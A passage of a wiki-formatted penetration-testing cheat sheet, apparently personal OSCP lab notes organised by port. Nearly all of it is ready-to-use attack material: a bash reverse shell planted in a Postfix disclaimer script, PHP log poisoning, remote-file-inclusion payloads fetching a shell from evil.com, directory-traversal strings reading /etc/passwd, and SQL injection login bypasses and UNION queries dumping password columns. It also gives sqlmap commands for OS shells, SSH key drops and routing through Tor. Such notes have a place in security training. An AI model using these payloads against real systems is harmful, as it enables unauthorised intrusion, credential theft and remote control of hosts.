&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
